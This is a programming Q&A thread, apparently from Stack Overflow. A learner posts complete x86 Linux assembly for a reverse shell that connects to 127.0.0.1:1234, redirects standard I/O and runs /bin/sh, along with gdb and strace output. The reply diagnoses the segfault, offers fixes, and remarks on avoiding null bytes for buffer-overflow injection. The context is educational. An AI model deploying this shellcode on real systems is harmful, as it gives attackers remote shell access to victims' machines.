Darktortue
Darktortue

Reputation: 45

segfault reverse shell in linux x86 asm

I'm learning assembly and starting with linux x86. I'm now trying to create a reverse shell but I'm facing a segfault and i don't know where it is. Here's my assembly code :

global _start

section .text
_start:


        ; Création du socket

        push 0x66               ; socketall (102)
        pop eax                 ; clean eax et mis en place socketcall(102)
        push 0x1                ; sys_socket
        pop ebx                 ; clean ebb et mis en place sys_socket (1)
        xor ecx, ecx            ; pour éviter les 0, on xor un registre avec lui-même ce qui donne toujours 0
        push ecx                ; protocole 0 ce qui signifie que le protocole est défini par la machine
        push ebx                ; SOCK_STREAM (1)
        push 0x2                ; AF_INET (2) signifie la prise en charge d'adresse IPV4
        mov ecx, esp            ; pointe ecx en haut de la pile
        int 0x80                ; execution

        mov edi, eax            ; move socket vers edi pour réutilisation


        ; Connection à une adresse IP et un port


        mov al, 0x66            ; socketcall (102) déplacé dans le registre al
        pop ebx                 ; (2)
        push 0x0100007F         ; sin_addr = 127.0.0.1 
        push word 0xd204        ; sin_port = 1234
        push word 0x2           ; AF_INET (2)
        mov ecx, esp            ; pointe ecx en haut de la pile
        push 0x10               ; taille de l'adresse IP
        push ecx                ; pointer vers l'adresse ip
        push edi                ; socket descripteur = permet de stocker les valeurs retournées par le syscall socket et le syscall qui accepte la connexion
        mov ecx, esp            ; pointe ecx en haut de la pile
        inc ebx                 ; SYS_CONNECT (3)
        int 0x80                ; execution


        ; STDIN, STDOUT et STDERR dans notre nouveau socket pour redirection

        xchg ebx, edi           ; save de socketfd dans ebx pour dup2. Xchg permet d'échanger les contenus de la destination (premier registre) et de la source (second registre
        ;dup 2 = créer une copie du file descriptor oldfd en utilisant le numéro spécifié dans newfd. Si le file descriptor newfd était déjà utilisé, cela le ferme avant de pouvoir être utilisé.
        push 0x2
        pop ecx                 ; set ecx à 0

loop:
        mov al, 0x3f            ; dup2 sys call 63 = 0x3f
        int 0x80                ; execution dup2
        dec ecx                 ; décrémentation du compteur de la loop
        jns loop                ; JNS = Jump No Sign (valeur positive) -> tant que SF n'est pas positionné à 1 on jmp à loop
        ; SF = Ce flag est positionné à 1 si la dernière opération a généré un résultat négatif, à 0 s'il est positif ou nul.

        ; Executer /bin/sh

        xor edx, edx            ; set edx à 0
        push edx                ; NULL
        push 0x68732f2f         ; "hs//" reverse order car utilisation de little endian (2 / pour faire 4 octets non nuls)
        push 0x6e69622f         ; "nib/" reverse order car utilisation de little endian
        mov ebx, esp            ; pointe ebx dans la stack c-a-d en haut de la pile
        mov ecx, edx            ; on met ecx à 0
        mov al, 0xb             ; execve = Oxb
        int 0x80                ; execution execve

Then i did :

nasm -f elf32 tp.asm

then

ld -m elf_i386 -s -o tp tp.o

When i'm executing the binary i'm just getting the error : Segmentation error

I tried to debug it with gdb but I don't know much.

gdb tp
(gdb) run
Starting program: /home/nicolas/tp/tp 

Program received signal SIGSEGV, Segmentation fault.
0x0804904d in ?? ()
(gdb) where
#0  0x0804904d in ?? ()

And honestly I don't know what to do now... Don't have enough knowledge to go further. I hope someone can help me please. Thanks :)

EDIT :

Here's the instruction corresponding to the address 0x0804904d :

0x804904d   add    %al,(%eax)

I used strace and here's the output :

execve("./tp", ["./tp"], 0x7ffe08f13850 /* 49 vars */) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1234), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 ECONNREFUSED (Connexion refusée)
syscall_0xffffffffffffff3f(0x3, 0x2, 0, 0, 0x3, 0) = -1 ENOSYS (Fonction non implantée)
syscall_0xffffffffffffff3f(0x3, 0x1, 0, 0, 0x3, 0) = -1 ENOSYS (Fonction non implantée)
syscall_0xffffffffffffff3f(0x3, 0, 0, 0, 0x3, 0) = -1 ENOSYS (Fonction non implantée)
syscall_0xffffffffffffff0b(0xff911f58, 0, 0, 0, 0x3, 0) = -1 ENOSYS (Fonction non implantée)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xffffffda} ---
+++ killed by SIGSEGV +++

Upvotes: 0

Views: 699

Answers (1)

Peter Cordes
Peter Cordes

Reputation: 364160

Your strace output makes the problem clear: connect returns an error code (between -4095 to -1), so the high bytes of EAX are 0xffffff... Later mov al, imm81 leaves them unmodified, resulting in EAX= invalid system call number2.

If you want to make it exit cleanly even if an earlier system call returned negative, xor eax,eax / inc eax / int 0x80 at the end to do a SYS_exit. (With BL=1 or some non-zero value to exit with a non-zero status).

Or use push 0xb / pop eax to set EAX=SYS_execve for that final system call, so the shell definitely runs. (But with stdin not redirected, so that's not very good).

Or just get used to using strace as error checking, now that you understand what happens when a system call return value leaves the high bytes of EAX non-zero. You could put a ud2 at the end so it will exit with an illegal instruction instead of segfault (when execution falls into 00 00 add [eax], al bytes.)

Or if you really want, write actual error checking for the connect system call, checking for a negative EAX and using write to output an error message before exiting. That would obviously be useless in real shellcode which would run with its stdout connected to something on the victim computer, not yours. connect is the one most likely to fail, so you can still leave the other syscalls unchecked other than by strace.


Footnote 1: Remember you're using mov al, 0xb instead of mov eax, 0xb to avoid zeros in your machine code, although push 0x0100007F doesn't do that. >.< Not a problem when building as an executable, but would be a problem for injection via a strcpy or other C-string buffer overflow vulnerability.

Footnote 2: Apparently strace or the kernel is sign-extending that to 64 bits, despite the fact that the full RAX isn't accessible in 32-bit mode.

Upvotes: 1

Related Questions